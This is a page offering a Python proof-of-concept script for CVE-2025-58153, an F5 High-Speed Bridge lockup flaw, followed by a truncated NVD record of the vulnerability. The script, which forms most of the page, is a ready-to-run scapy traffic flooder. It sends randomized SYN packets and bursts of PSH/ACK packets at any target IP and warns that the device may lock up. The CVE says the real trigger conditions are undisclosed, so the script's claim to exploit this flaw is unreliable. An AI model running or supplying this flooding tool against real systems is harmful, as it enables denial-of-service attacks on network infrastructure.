CVE-2025-58153

# CVE-2025-58153 PoC - F5 HSB Lockup Trigger # Note: This vulnerability requires specific traffic patterns combined with # conditions beyond the attacker's control. The following is a conceptual # demonstration of traffic that may trigger HSB lockup conditions. #!/usr/bin/env python3 import socket import struct import time import random from scapy.all import * def craft_hsb_trigger_traffic(target_ip, target_port=443, duration=60): """ Generate traffic patterns designed to stress the High-Speed Bridge (HSB) on F5 hardware systems. This targets specific packet processing paths that may lead to HSB lockup under certain conditions. """ print(f"[*] Starting HSB lockup trigger against {target_ip}:{target_port}") print(f"[*] Duration: {duration} seconds") print("[!] WARNING: This may cause hardware lockup requiring manual intervention") end_time = time.time() + duration packet_count = 0 while time.time() < end_time: try: # Generate varied packet sizes to stress HSB buffers payload_size = random.choice([64, 128, 256, 512, 1024, 1460, 9000]) # Craft packets with varying IP/TCP options to trigger different # HSB processing paths for i in range(100): src_port = random.randint(1024, 65535) seq_num = random.randint(0, 4294967295) # TCP SYN flood-like pattern with varied window sizes pkt = IP(dst=target_ip) / TCP( sport=src_port, dport=target_port, flags="S", seq=seq_num, window=random.choice([0, 1, 65535, 8192]) ) / Raw(RandomString(payload_size)) send(pkt, verbose=False) packet_count += 1 # Burst pattern to trigger HSB pipeline conditions burst = [IP(dst=target_ip)/TCP(dport=target_port, flags="PA") / Raw(RandomString(random.randint(40, 1500))) for _ in range(500)] send(burst, verbose=False) packet_count += 500 time.sleep(0.01) except Exception as e: print(f"[!] Error: {e}") continue print(f"[*] Sent {packet_count} packets") print("[!] Check target HSB status for potential lockup") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_58153.py <target_ip> [duration]") sys.exit(1) target = sys.argv[1] dur = int(sys.argv[2]) if len(sys.argv) > 2 else 60 craft_hsb_trigger_traffic(target, duration=dur)

{"cve": {"id": "CVE-2025-58153", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:52.687", "lastModified": "2026-02-04T17:47:36.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Under undisclosed traffic conditions along with conditions beyond the attacker's control, hardware systems with a High-Speed Bridge (HSB) may experience a lockup of the HSB.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": 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